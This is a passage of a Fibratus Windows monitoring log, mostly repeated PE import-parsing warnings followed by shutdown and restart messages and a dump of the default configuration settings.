parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:23:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:24:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:25:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:25:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T11:25:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:25:30+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:25:31+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:25:31+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:25:58+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T11:25:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T11:25:58+01:00 level=info msg=bootstrapping with pid 5580. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T11:25:58+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>false] slack=>[ enabled=>false] systray=>[ enabled=>true quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + kstream ........................ [ enable-fileio=>true enable-vamap=>true enable-audit-api=>true enable-dns=>true enable-handle=>false blacklist=>[ images=>[] events=>[]] flush-interval=>1s enable-net=>true buffer-size=>512 enable-image=>true enable-registry=>true enable-mem=>true min-buffers=>16 stack-enrichment=>true max-buffers=>36 enable-thread=>true] + logging ........................ [ formatter=>text max-age=>0 max-backups=>15 log-stdout=>true max-size=>100 level=>info] + output ......................... [ console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true format=>pretty] http=>[ enabled=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false serializer=>json timeout=>5s] elasticsearch=>[ sniff=>false healthcheck-interval=>10s enabled=>false template-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 timeout=>5s healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus] amqp=>[ delivery-mode=>transient passive=>false routing-key=>fibratus enabled=>false vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus durable=>false timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true alert-via=>mail scan-timeout=>10s skip-files=>true enabled=>false alert-template=>[] excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-12T11:25:58+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T11:26:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:26:01+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:26:01+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:26:01+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:26:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T11:26:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:26:48+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:26:48+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:26:49+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:30:10+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T11:30:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T11:30:10+01:00 level=info msg=bootstrapping with pid 17192. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T11:30:10+01:00 level=info msg=rendering 